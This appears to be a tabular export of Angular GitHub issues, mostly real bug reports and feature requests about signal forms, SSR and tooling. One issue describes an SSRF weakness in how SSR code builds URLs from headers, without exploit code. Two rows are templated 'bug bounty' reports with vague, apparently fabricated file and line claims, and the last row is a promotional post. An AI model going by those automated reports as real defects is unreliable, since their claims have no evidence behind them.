For informed developers, removing suffixes as the default was a bit pointless. These devs understand the trade-offs, know how to configure the framework, and are intentional about naming. Crucially, **they are also exactly the group that would have had no problem o... [TRUNCATED]",,2026-02-07 16:42:19+00:00,2026-02-11 18:17:54+00:00,14,nan,4.0664,why suffix less naming should be opt in rather than the default which angular package s are relevant related to the feature request core description i know this topic has been discussed a lot and i m aware that there was significant pushback during the rfc phase that ultimately didn t change the outcome still i want to make one more attempt to explain why making suffix less naming the default was imo a mistake to do that i want to differentiate between two groups of developers this is obviously a simplification but it s useful for understanding the impact of this decision group consists of developers who are highly engaged with their code and tools they actively follow framework changes read rfcs experiment with new features and care deeply about naming and architecture i ll refer to them as informed developers group consists of developers who mostly don t engage at that level this isn t meant to be a judgment many may be overworked new to the ecosystem or programming in general inherited legacy codebases and some simply don t have the time energy or motivation to stay up to date in my experience the vast majority of developers fall in this group or somewhere in between at least now let s look at how this change affects each group for informed developers removing suffixes as the default was a bit pointless these devs understand the trade offs know how to configure the framework and are intentional about naming crucially they are also exactly the group that would have had no problem o truncated,bug,0.9558
angular/angular,3907642726,SSR examples/templates derive SSR URL from Host / forwarded headers; add guidance + safer default patte,"### Which @angular/* package(s) are the source of the bug?

platform-server

### Is this a regression?

No

### Description

### Summary
Some Angular SSR example/scaffolding patterns construct the SSR request URL using `req.headers.host` (and in common deployments may also involve forwarded headers). If applications then perform *relative* SSR `HttpClient` calls during render, those calls can be resolved against an attacker-influenced origin if the deployment trusts unvalidated header values.

This issue requests documentation / scaffolding changes so apps do not inherit an unsafe default.

### Why this matters
`Host` and `X-Forwarded-*` headers are not inherently trustworthy inputs. When used to construct a base URL for SSR routing and request resolution, they can steer server-side outbound requests in apps that do relative data fetching during SSR.

### Code references (in-repo)
- `angular/integration/platform-server/projects/ngmodule/server.ts`:
  - Constructs `url: \`${protocol}://${headers.host}${originalUrl}\``
- `angular/packages/platform-server/src/location.ts`:
  - `ServerPlatformLocation` consumes `INITIAL_CONFIG.url` and populates `protocol/hostname/port/...` from it.
- `angular/packages/platform-server/src/http.ts`:
  - `relativeUrlsTransformerInterceptorFn` rewrites relative request URLs based on `PlatformLocation` (http/https only).

### Additional context
I have a concrete SSRF-style proof-of-concept demonstrating server-side access to internal hosts when an ap... [TRUNCATED]",,2026-02-06 17:01:56+00:00,2026-02-09 12:59:13+00:00,7,nan,2.8314,ssr examples templates derive ssr url from host forwarded headers add guidance safer default patte which angular package s are the source of the bug platform server is this a regression no description summary some angular ssr example scaffolding patterns construct the ssr request url using and in common deployments may also involve forwarded headers if applications then perform relative ssr calls during render those calls can be resolved against an attacker influenced origin if the deployment trusts unvalidated header values this issue requests documentation scaffolding changes so apps do not inherit an unsafe default why this matters and headers are not inherently trustworthy inputs when used to construct a base url for ssr routing and request resolution they can steer server side outbound requests in apps that do relative data fetching during ssr code references in repo constructs protocol headers host originalurl consumes and populates from it rewrites relative request urls based on http https only i have a concrete ssrf style proof of concept demonstrating server side access to internal hosts when an ap truncated,others,-0.3397
angular/angular,3905574917,CVE-22610,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

A vulnerability has been detected in Angular version 21.1.2 https://nvd.nist.gov/vuln/detail/CVE-2026-22610 .
Can you tell me which version is planned to fix this vulnerability, or maybe it has already been fixed?

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_",,2026-02-06 08:30:24+00:00,2026-02-06 10:24:51+00:00,2,nan,0.0795,cve which angular package s are the source of the bug core is this a regression yes description a vulnerability has been detected in angular version can you tell me which version is planned to fix this vulnerability or maybe it has already been fixed please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.7964
angular/angular,3904296266,`afterEveryRender` does not run after hydration cleanup in zoneless.,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

```
@Component({
  selector: 'app-root',
  imports: [NgIf],
  template: `
    <span *ngIf=""isServer"">This is a SERVER-ONLY content</span>
    <span *ngIf=""!isServer"">This is a CLIENT-ONLY content</span>
  `,
})
export class App {
  isServer = isPlatformServer(inject(PLATFORM_ID));
  elementRef = inject(ElementRef);

  _ = afterEveryRender(() => {
    console.log('App component rendered');
    console.log('Current content:', this.elementRef.nativeElement.innerHTML);
  });
}
```

In this example `afterEveryRender` only fires once, before hydration. 

content: 

```
<span>This is a SERVER-ONLY content</span><!--container--><span>This is a CLIENT-ONLY content</span><!--container-->
```

","area: core,core: hydration",2026-02-06 01:10:54+00:00,2026-02-13 17:41:12+00:00,3,"area: core,core: hydration",7.6877,does not run after hydration cleanup in zoneless which angular package s are the source of the bug core is this a regression yes description in this example only fires once before hydration content,others,-0.0772
angular/angular,3902983295,Numeric input with decimals behaves incorrectly in Signal Forms (locale IT),"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

I’m experiencing an issue with numeric inputs when using the new Signal Forms API in Angular.

The main problem concerns decimal input handling, especially when using a locale where the decimal separator is a comma (e.g. it-IT).

With ReactiveForms, this behavior worked correctly, including support for comma-based decimals and proper cursor positioning.


#### Steps to Reproduce

1. Use an <input type=""number""> bound to a Signal Form control
2. Set the application locale to it-IT
3. Focus the input
4. Type 1,2
5. Press backspace to delete 2

#### Expected Behavior

1. The value should become 1,
2. The cursor should remain after the comma
3. The decimal separator should not be removed automatically

This is how the same scenario behaves when using ReactiveForms.

#### Actual Behavior

- When deleting the 2, the cursor jumps before the 1
- The comma is removed
- The input becomes 1
- The cursor position is reset, making decimal editing very difficult

#### Why this is a problem

This makes it nearly impossible to comfortably edit decimal numbers in locales that use , as the decimal separator.
It’s a regression compared to ReactiveForms and affects usability for non–en-US users.

#### Environment

Angular version: 21.1.2
Signal Forms
Browser: Chrome
Locale: it-IT

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz... [TRUNCATED]",,2026-02-05 18:39:05+00:00,2026-02-05 19:06:46+00:00,2,nan,0.0192,numeric input with decimals behaves incorrectly in signal forms locale it which angular package s are the source of the bug forms is this a regression yes description i m experiencing an issue with numeric inputs when using the new signal forms api in angular the main problem concerns decimal input handling especially when using a locale where the decimal separator is a comma e g it it with reactiveforms this behavior worked correctly including support for comma based decimals and proper cursor positioning use an bound to a signal form control set the application locale to it it focus the input type press backspace to delete the value should become the cursor should remain after the comma the decimal separator should not be removed automatically this is how the same scenario behaves when using reactiveforms when deleting the the cursor jumps before the the comma is removed the input becomes the cursor position is reset making decimal editing very difficult why this is a problem this makes it nearly impossible to comfortably edit decimal numbers in locales that use as the decimal separator it s a regression compared to reactiveforms and affects usability for non en us users environment angular version signal forms browser chrome locale it it please provide a link to a of the bug truncated,others,-0.3167
angular/angular,3902624917,[Medium] Race Condition in angular,"## Bug Report

**Type**: Race Condition
**Severity**: Medium
**File**: src/angular.js:189

### Description
并发访问共享变量时缺乏适当的同步机制。

### Impact
可能导致数据不一致。

### Proposed Fix
使用适当的并发控制。

---
Automated Bug Report - 2026-02-05 17:06:56
Bug Bounty Request
",,2026-02-05 17:06:57+00:00,2026-02-05 17:15:54+00:00,1,nan,0.0062,medium race condition in angular bug report type race condition severity medium file src angular js description impact proposed fix automated bug report bug bounty request,others,-0.7579
angular/angular,3902624742,[High] Memory Leak in angular,"## Bug Report

**Type**: Memory Leak
**Severity**: High
**File**: src/angular.ts:234

### Description
发现资源连接未正确关闭，可能导致内存泄漏。

### Impact
- 长期运行内存占用持续增长
- 可能导致服务崩溃

### Proposed Fix
使用try-finally确保资源释放。

---
Automated Bug Report - 2026-02-05 17:06:53
Bug Bounty Request
",,2026-02-05 17:06:54+00:00,2026-02-05 17:15:51+00:00,1,nan,0.0062,high memory leak in angular bug report type memory leak severity high file src angular ts description impact proposed fix try finally automated bug report bug bounty request,others,-0.8834
angular/angular,3902100003,Angular Language Service: Ctrl+Click on component tag goes to lib.dom.d.ts when attribute value contains single quotes,"### Which @angular/* package(s) are the source of the bug?

language-service

### Is this a regression?

No

### Description

I’m seeing inconsistent “Go to Definition” behavior in Angular templates in VS Code on Windows.

When I Ctrl+Click a custom component tag (e.g. <psl-multi-select>), it usually navigates to the Angular component .ts file as expected. However, in a specific template, adding an attribute value that contains single quotes inside double quotes causes Ctrl+Click on the tag name to navigate to a preview of:

…\node_modules\typescript\lib\lib.dom.d.ts

**Example**
This navigates correctly (Ctrl+Click on psl-multi-select opens the component TS):
`<psl-multi-select pslPlaceholder=""Try typing""></psl-multi-select>`
This breaks navigation (Ctrl+Click opens lib.dom.d.ts instead):
`<psl-multi-select pslPlaceholder=""Try typing 'option'""></psl-multi-select>`
Workaround: using HTML entities avoids the issue:
`<psl-multi-select pslPlaceholder=""Try typing &apos;option&apos;""></psl-multi-select>`

**Expected**
Ctrl+Click on <psl-multi-select> navigates to the Angular component definition (e.g. MultiSelectComponent).

**Actual**
Ctrl+Click navigates to DOM typings (lib.dom.d.ts) as if the element is treated like an unknown HTML element.


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
OS: W... [TRUNCATED]",needs reproduction,2026-02-05 15:13:56+00:00,2026-02-10 12:05:47+00:00,3,needs reproduction,4.8693,angular language service ctrl click on component tag goes to lib dom d ts when attribute value contains single quotes which angular package s are the source of the bug language service is this a regression no description i m seeing inconsistent go to definition behavior in angular templates in vs code on windows when i ctrl click a custom component tag e g it usually navigates to the angular component ts file as expected however in a specific template adding an attribute value that contains single quotes inside double quotes causes ctrl click on the tag name to navigate to a preview of node modules typescript lib lib dom d ts example this navigates correctly ctrl click on psl multi select opens the component ts this breaks navigation ctrl click opens lib dom d ts instead workaround using html entities avoids the issue expected ctrl click on navigates to the angular component definition e g multiselectcomponent actual ctrl click navigates to dom typings lib dom d ts as if the element is treated like an unknown html element please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run true os w truncated,others,-0.2732
angular/angular,3901049104,"VSCode extension listens to file changes in node_modules, causing too many active listeners","### Is this a bug report or a feature request?

- [x] Bug Report
- [ ] Feature Request

### Please provide the steps to reproduce the issue [Bug Report only]

I recently ran into the issue, that I was unable to start dev servers anymore, due to `Error: ENOSPC: System limit for number of file watchers reached, watch '...'`.

While investigating the issue using `strace -f -e inotify_add_watch code 2>&1`, I noticed that extremely many file watches are registered on boot of VSCode. With the help of Gemini, I've traced this further down using an eBPF script:

```bash
sudo bpftrace -e '                             
/* 1. Catch specific inotify calls with clamped path reading */
tracepoint:syscalls:sys_enter_inotify_add_watch {
    // Clamp the string read to 64 bytes to stay within verifier limits
    $path = str(args->pathname, 64); 
    
    if (strcontains($path, ""node_modules"")) {
        printf(""\n[WATCH] PID: %d (%s) -> %s\n"", pid, comm, $path);
    }
}

/* 2. Catch process executions with their arguments */
tracepoint:syscalls:sys_enter_execve {
    printf(""[EXEC] PID: %d | PPID: %d | CMD: "", pid, curtask->real_parent->pid);
    join(args->argv);
}'
```

(clamping the path to 64 was enough for me, you may need to increase the limit.

By filtering an ungodly amount of logs, I did find those three very suspicious logs:

```
[EXEC] PID: 212280 | PPID: 211648 | CMD: /usr/share/code/code /home/shayden/.vscode/extensions/nrwl.angular-console-18.85.2/nxls/main.js --node-ipc --clien... [TRUNCATED]",,2026-02-05 11:19:30+00:00,2026-02-05 14:44:41+00:00,5,nan,0.1425,vscode extension listens to file changes in node modules causing too many active listeners x bug report feature request please provide the the issue bug report only i recently ran into the issue that i was unable to start dev servers anymore due to while investigating the issue using i noticed that extremely many file watches are registered on boot of vscode with the help of gemini i ve traced this further down using an ebpf script clamping the path to was enough for me you may need to increase the limit by filtering an ungodly amount of logs i did find those three very suspicious logs exec pid ppid cmd usr share code code home shayden vscode extensions nrwl angular console nxls main js node ipc clien truncated,others,0.3415
angular/angular,3900524309,CSS Transition Flash on Initial Render with Host Class Binding,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

When using host class bindings in Angular components, CSS transitions are incorrectly triggered on the initial render in specific scenarios. This causes an unwanted visual ""flash"" effect as transition properties animate from their default values.

### Observed Behavior

| Scenario | Host Binding | Result |
|----------|-------------|--------|
| Inside `<router-outlet>`, unwrapped | `""[class]"": ""`app-card`""` | ❌ Transition flash |
| Inside `<router-outlet>`, unwrapped | `class: ""app-card""` + `""[class.--ghost]"": ""variant() === 'ghost'""` | ❌ Transition flash |
| Inside `<router-outlet>`, wrapped in `@if` or `@for` | Any binding | ✅ Works correctly |
| Outside `<router-outlet>` | Any binding | ✅ Works correctly |


### Please provide a link to a minimal reproduction of the bug

https://github.com/stephenlautier/ng-css-transition-flash-hostbinding

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.2
Angular           : 21.1.3
Node.js           : 24.11.1
Package Manager   : pnpm 9.15.4
Operating System  : win32 x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @ang... [TRUNCATED]",,2026-02-05 09:17:00+00:00,2026-02-05 15:07:41+00:00,2,nan,0.2435,css transition flash on initial render with host class binding which angular package s are the source of the bug don t known other is this a regression no description when using host class bindings in angular components css transitions are incorrectly triggered on the initial render in specific scenarios this causes an unwanted visual flash effect as transition properties animate from their default values observed behavior scenario host binding result inside unwrapped app card transition flash inside unwrapped transition flash inside wrapped in or any binding works correctly outside any binding works correctly please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager pnpm win x package installed version requested version ang truncated,others,0.0258
angular/angular,3895857700,Signal Forms allow diferent numeric input methods,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Currently when your `formField` data is a number the input must be of type number.
Consider this form:
```
readonly data = signal({ age: 4})
readonly f = form(this.data)
```
And this form
```html
<input type=""number"" [formField]=""f.age"">
<input type=""number"" [formField]=""f.age"" pattern=""[0-9]*"">
<input type=""text"" [formField]=""f.age"" inputmode=""number"" pattern=""[0-9]*""  >
```

This gives several problems. 

1. For one patterns are not allowed. This is according the W3C spec, but some mobile systems (IOS) allow to show the numeric keyboard when you put the pattern=""[0-9]*"" on a number input.
2. For real good accessibility/mobile support `<input type=""text"" inputmode=""number"">` is preferred, but because the 
type is text, it is not allowed. The problems that are solved by this kind of input are explained very well on this site: https://technology.blog.gov.uk/2020/02/24/why-the-gov-uk-design-system-team-changed-the-input-type-for-numbers/ 




### Proposed solution

Allow <input type=""text inputmode=""number""> for form fields of the numerical type and support the pattern=""[0-9]*""


### Alternatives considered

Creating a custom control, and I think this is currently the only workable solution.","area: forms,forms: signals",2026-02-04 10:40:28+00:00,2026-03-19 22:26:37+00:00,5,"area: forms,forms: signals",43.4904,signal forms allow diferent numeric input methods which angular package s are relevant related to the feature request no response description currently when your data is a number the input must be of type number consider this form and this form this gives several problems for one patterns are not allowed this is according the w c spec but some mobile systems ios allow to show the numeric keyboard when you put the pattern on a number input for real good accessibility mobile support is preferred but because the type is text it is not allowed the problems that are solved by this kind of input are explained very well on this site proposed solution allow for form fields of the numerical type and support the pattern alternatives considered creating a custom control and i think this is currently the only workable solution,others,0.9758
angular/angular,3895603750,Module federation not working on angular 20,"### Which @angular/* package(s) are the source of the bug?

upgrade

### Is this a regression?

No

### Description

When adding Module Federation to a new Angular 20 project using
ng add @angular-architects/module-federation and building the app with npx ng build, the build completes successfully.

However, when serving the built application via index.html, the app fails at runtime with an RxJS error related to extending a null class.

This issue occurs on a freshly created Angular 20 project with no additional changes beyond adding Module Federation.

<img width=""1889"" height=""739"" alt=""Image"" src=""https://github.com/user-attachments/assets/583f9fc2-638e-4c15-b3d3-d7d8b286ea25"" />

### Please provide a link to a minimal reproduction of the bug

you can just add module federation and build the application

### Please provide the exception or error you saw

```true
TypeError: Class extends value undefined is not a constructor or null
    at 1687 (OperatorSubscriber.js:5:41)
    at __webpack_require__ (bootstrap:19:1)
    at 3481 (EmptyError.js:6:1)
    at __webpack_require__ (bootstrap:19:1)
    at 4982 (timer.js:33:1)
    at __webpack_require__ (bootstrap:19:1)
    at 1340 (catchError.js:26:1)
    at __webpack_require__ (bootstrap:19:1)
    at sharing:48:1
    at __webpack_require__.m.<computed> (main.378a84abe5572df5.js:1:10312)
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 20.3.15
Node: 24.13.0
Package Manager: ... [TRUNCATED]",,2026-02-04 09:40:11+00:00,2026-02-04 09:51:41+00:00,4,nan,0.008,module federation not working on angular which angular package s are the source of the bug upgrade is this a regression no description when adding module federation to a new angular project using ng add angular architects module federation and building the app with npx ng build the build completes successfully however when serving the built application via index html the app fails at runtime with an rxjs error related to extending a null class this issue occurs on a freshly created angular project with no additional changes beyond adding module federation please provide a link to a of the bug you can just add module federation and build the application please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli node package manager truncated,others,-0.8074
angular/angular,3893745213,Signal Form: Documentation states that an empty array is considered as empty value by the built in required validator,"### Describe the problem that you experienced

In the in-depth guide about signal forms, in the validation section, the documentation for the required() validator states that _A field is considered ""empty"" when the value is an empty array_. But this does not seem to be the case when I have a signal form with a tag box widget having an array of string values as form model. An empty array does not fail the validation and passes instead.

Some issues [inconsistency between ""classic"" and signal forms validators regarding empty arrays](https://github.com/angular/angular/issues/65424) seem to suggest, that this is the expected behavior, which is not what the docs suggest.




### Enter the URL of the topic with the problem

https://angular.dev/guide/forms/signals/validation#required)

### Describe what you were looking for in the documentation

I was searching how to use the required validator in a signal form with a tag box that has an array of string values as model.

### Describe the actions that led you to experience the problem

I was testing a signal form with a tag box widget having an array of string values as form model. An empty array does not fail the validation and passes instead.

### Describe what you want to experience that would fix the problem

Either the documentation should be changed to not include the empty array as empty value for the required validator. Then it would be useful to document how to deal with required field that has an array as form model.

Or th... [TRUNCATED]",area: docs,2026-02-03 23:34:41+00:00,2026-02-10 12:05:04+00:00,2,area: docs,6.5211,signal form documentation states that an empty array is considered as empty value by the built in required validator describe the problem that you experienced in the in depth guide about signal forms in the validation section the documentation for the required validator states that a field is considered empty when the value is an empty array but this does not seem to be the case when i have a signal form with a tag box widget having an array of string values as form model an empty array does not fail the validation and passes instead some issues inconsistency between classic and signal forms validators regarding empty arrays seem to suggest that this is the which is not what the docs suggest enter the url of the topic with the problem describe what you were looking for in the documentation i was searching how to use the required validator in a signal form with a tag box that has an array of string values as model describe the actions that led you to experience the problem i was testing a signal form with a tag box widget having an array of string values as form model an empty array does not fail the validation and passes instead describe what you want to experience that would fix the problem either the documentation should be changed to not include the empty array as empty value for the required validator then it would be useful to document how to deal with required field that has an array as form model or th truncated,documentation,0.7929
angular/angular,3893115649,Enhance `ViewContainerRef.createComponent` to cater for SVG elements and beyond,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

I already know there are threads already open on this issue, and I wanted to touch base on it as it has been placed on the back burner.

`ViewContainerRef.createComponent` creates a component with `svg` in its selector correctly. For example, a component with selector `svg.some-class` is created in the correct namespace (see `namespaceURI`):

<img width=""471"" height=""476"" alt=""Image"" src=""https://github.com/user-attachments/assets/4b0f6872-139d-4ad1-bbb6-54c6d1699cd2"" />

However, any child `path`, `g`, etc are not created in the correct namespace when done using `ViewContainerRef.createComponent` (see `namespaceURI`):

<img width=""471"" height=""476"" alt=""Image"" src=""https://github.com/user-attachments/assets/985779f6-2d6a-43f1-be4d-1ccd7eaa7b1e"" />

### Proposed solution

As I see it, the neatest solution would be either to:

1) allow `ViewContainerRef.createComponent` to accept a `hostElement` parameter, just as `createComponent` does, or
2) make `ViewContainerRef.createComponent` accept a `nameSpace` parameter, or
3) allow a `nameSpace` field in the `@Component` decorator.

I would by far prefer 1, as this would allow dynamic selection of the component's host node. This would extend beyond this case - for example, a button component can be attached to either an `a` or `button` element dynamically.

### Alternatives considered

None.",,2026-02-03 20:39:45+00:00,2026-02-03 20:48:42+00:00,2,nan,0.0062,enhance to cater for svg elements and beyond which angular package s are relevant related to the feature request core description i already know there are threads already open on this issue and i wanted to touch base on it as it has been placed on the back burner creates a component with in its selector correctly for example a component with selector is created in the correct namespace see however any child etc are not created in the correct namespace when done using see proposed solution as i see it the neatest solution would be either to allow to accept a parameter just as does or make accept a parameter or allow a field in the decorator i would by far prefer as this would allow dynamic selection of the component s host node this would extend beyond this case for example a button component can be attached to either an or element dynamically alternatives considered none,others,0.9753
angular/angular,3891959208,Signal Forms max is not supported on date inputs,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

max always expects a number, but for date fields this is a string format.

See also https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input/date




### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/~/github.com/air2/angular-signal-forms-date-test

### Please provide the exception or error you saw

```true
Argument of type 'string' is not assignable to parameter of type 'number | LogicFn<string | number | null, number | undefined, Child>'.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
_                      _                 ____ _     ___
    / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|
   / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |
  / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |
 /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|_____|___|
                |___/
    

Angular CLI       : 21.1.1
Angular           : 21.1.1
Node.js           : 20.19.1
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/animations       │ 21.1.1            │ ^21.1.0-next      │
│ @angular/build            │ 21.1.1... [TRUNCATED]",,2026-02-03 15:57:08+00:00,2026-02-03 16:13:59+00:00,3,nan,0.0117,signal forms max is not supported on date inputs which angular package s are the source of the bug forms is this a regression no description max always expects a number but for date fields this is a string format see also please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm linux x package installed version requested version angular animations next angular build truncated,help,-0.5237
angular/angular,3891875424,Signal Form Docs about custom validation function: Please avoid `any` in examples (if possible),"### Describe the problem that you experienced

The documentation about reusable validation rule functions for signal forms all use `field: any` as first argument.

### Enter the URL of the topic with the problem

https://angular.dev/guide/forms/signals/validation#reusable-validation-rules

### Describe what you were looking for in the documentation

I want to write a custom validator function for signal forms and I'd prefer type-safe code and I bet there is typing available.

`validate()` is declared as:
```typescript
declare function validate<TValue, TPathKind extends PathKind = PathKind.Root>(path: SchemaPath<TValue, SchemaPathRules.Supported, TPathKind>, logic: NoInfer<FieldValidator<TValue, TPathKind>>): void;
```

### Describe the actions that led you to experience the problem

I checked the documentation 😏

### Describe what you want to experience that would fix the problem

Maybe something like this works? Didn't check yet if those types are part of the official API.

```typescript
function url<TValue, TPathKind extends PathKind = PathKind.Root>(path: SchemaPath<TValue, SchemaPathRules.Supported, TPathKind>, options?: {message?: string}) {
  validate(field, ({value}) => {
    try {
      new URL(value());
      return null;
    } catch {
      return {
        kind: 'url',
        message: options?.message || 'Enter a valid URL',
      };
    }
  });
}
```

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception... [TRUNCATED]","open for contributions,area: docs",2026-02-03 15:37:56+00:00,2026-02-06 00:49:11+00:00,1,"open for contributions,area: docs",2.3828,signal form docs about custom validation function please avoid in examples if possible describe the problem that you experienced the documentation about reusable validation rule functions for signal forms all use as first argument enter the url of the topic with the problem describe what you were looking for in the documentation i want to write a custom validator function for signal forms and i d prefer type safe code and i bet there is typing available is declared as describe the actions that led you to experience the problem i checked the documentation describe what you want to experience that would fix the problem maybe something like this works didn t check yet if those types are part of the official api add a screenshot if that helps illustrate the problem no response if this problem caused an exception truncated,documentation,-0.8271
angular/angular,3891211491,Unrelated components compilation in the test environment due to imports (`NG8001`),"### Which @angular/* package(s) are the source of the bug?

compiler-cli, Don't known / other

### Is this a regression?

Yes

### Description

```ts
// alarm.component.ts
export const ALARM_TYPES = ['success', 'error']

@Component({
    selector: 'alarm',
    template: `
        <span>Alarm!</span>
        <test-button>Close</test-button>
    `,
    standalone: false,
})
export class AlarmComponent {}

// alarm.module.ts
@NgModule({
    imports: [ButtonComponent], // <- standalone component
    declarations: [AlarmComponent],
    exports: [AlarmComponent]
})
export class AlarmModule {}

// alarm.types.ts
import type {ALARM_TYPES} from './alarm.component'

export type AlarmType = (typeof ALARM_TYPES)[number]

// app.spec.ts
import type { AlarmType } from ""../alarm/alarm.types""; // <- comment out to pass the case
// import {AlarmModule} from '../alarm/alarm.module'; // or u can add a direct import of the module
```
When building a test environment, if non-standalone components without modules are included in the compilation, this results in a missing element error. In the example shown, this occurs when importing a type from a component file.
In real projects, including components in the import chain is quite common, as constants and types can be stored along with components.
This example works in the regular build (when all `*.ts`-files are included), in the JIT compilation and in v20.

### Please provide a link to a minimal reproduction of the bug

https://github.com/BEGEMOT... [TRUNCATED]","area: testing,area: compiler",2026-02-03 13:11:50+00:00,2026-02-23 16:02:55+00:00,9,"area: testing,area: compiler",20.1188,unrelated components compilation in the test environment due to imports which angular package s are the source of the bug compiler cli don t known other is this a regression yes description when building a test environment if non standalone components without modules are included in the compilation this results in a missing element error in the example shown this occurs when importing a type from a component file in real projects including components in the import chain is quite common as constants and types can be stored along with components this example works in the regular build when all files are included in the jit compilation and in v please provide a link to a of the bug truncated,others,-0.7351
angular/angular,3891150401,Signal forms: TypeError: this.formField() is not a function when form() is bound to a model() with missing properties,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

When using the new experimental Signal Forms (@angular/forms/signals), a TypeError: this.formField() is not a function occurs if a form() is initialized with a model() input where the initial value provided by the parent is an object missing a key referenced in the template.

It appears the form() utility (or the underlying proxy) fails to handle properties that are not present in the source object at initialization, even if they are defined in the interface as optional. If the parent component provides a default value for that key, the error disappears.


### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-iuiaq9w5?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true
ERROR TypeError: this.formField() is not a function
    Angular 7
        FormField
        producerRecomputeValue
        producerUpdateValueVersion
        computed2
        updateControlClasses
        updateControl
        control
    TestForm_Template app.ts:13
    Angular 33
    <anonymous> main.ts:5
_untracked-chunk.mjs:2593:19
    Angular 20
    TestForm_Template app.ts:13
    Angular 21
    <anonymous> main.ts:5
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.2
Angular           : 21.1.2
Node.js           : 24.13.0
Package Manager   : ... [TRUNCATED]",,2026-02-03 12:57:31+00:00,2026-02-03 13:47:30+00:00,3,nan,0.0347,signal forms typeerror this formfield is not a function when form is bound to a model with missing properties which angular package s are the source of the bug forms is this a regression no description when using the new experimental signal forms angular forms signals a typeerror this formfield is not a function occurs if a form is initialized with a model input where the initial value provided by the parent is an object missing a key referenced in the template it appears the form utility or the underlying proxy fails to handle properties that are not present in the source object at initialization even if they are defined in the interface as optional if the parent component provides a default value for that key the error disappears please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager truncated,bug,-0.9062
angular/angular,3891002575,Support for required in validateStandardSchema,"### Which @angular/* package(s) are relevant/related to the feature request?

forms

### Description

Currently the required state is not set when I use validateStandardSchema on a zod object. Probarbly because required is a separated property in JSON schema's where it is on the parent object and contains the the list of required propeties for said object.

So
```
readonly schema = z.object({
  name: z.string().min(3)
})
readonly model = signal({
name:''
})

readonly f = from(this.model, (schemaPath=> {
   validateStandardSchema(schemaPath, this.schema)
})
```

now:
```
this.f.name().required() // <-- will be false
```

However
```
this.schema.toJSONSchema().required.include('name')  // <-- will be true
```



### Proposed solution

Set the required state on the attributes.

### Alternatives considered

```
   for (const fieldName of keys) {
          required(ctx[fieldName], { when: () => !!jsonsSchema.required?.includes(fieldName),
          })
        }
````
","area: forms,forms: signals",2026-02-03 12:21:04+00:00,2026-02-06 00:42:52+00:00,2,"area: forms,forms: signals",2.5151,support for required in validatestandardschema which angular package s are relevant related to the feature request forms description currently the required state is not set when i use validatestandardschema on a zod object probarbly because required is a separated property in json schema s where it is on the parent object and contains the the list of required propeties for said object so now however proposed solution set the required state on the attributes alternatives considered,help,0.6124
angular/angular,3889575871,Footer overlaps main content and sidebar navigation,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

The site footer is currently rendering on top of the page content rather than following the natural document flow. This layout bug obscures the final paragraphs of the documentation and blocks access to the bottom links in the left-hand navigation sidebar, sign

<img width=""1920"" height=""1080"" alt=""Image"" src=""https://github.com/user-attachments/assets/7c6e624d-236a-4786-96da-c3c487e266f0"" />

ificantly impacting readability and navigation.

### Please provide a link to a minimal reproduction of the bug

https://angular.dev/style-guide

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","state: has PR,area: docs-infra",2026-02-03 07:02:55+00:00,2026-02-03 20:25:44+00:00,1,"state: has PR,area: docs-infra",0.5575,footer overlaps main content and sidebar navigation which angular package s are the source of the bug core is this a regression yes description the site footer is currently rendering on top of the page content rather than following the natural document flow this layout bug obscures the final paragraphs of the documentation and blocks access to the bottom links in the left hand navigation sidebar sign ificantly impacting readability and navigation please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,documentation,-0.4588
angular/angular,3888892035,Developer Tools Integration: JSON Formatter for Angular Developers,"Hi Angular team,

I developed a free online developer tools platform called [AngriL DevTools](https://www.angril.com:8000) that provides essential tools for Angular developers:

- **JSON Formatter/Minifier**: Perfect for formatting API responses and configuration files in Angular applications
- **Base64 Encoder/Decoder**: Useful for handling image data and encoded strings in Angular components
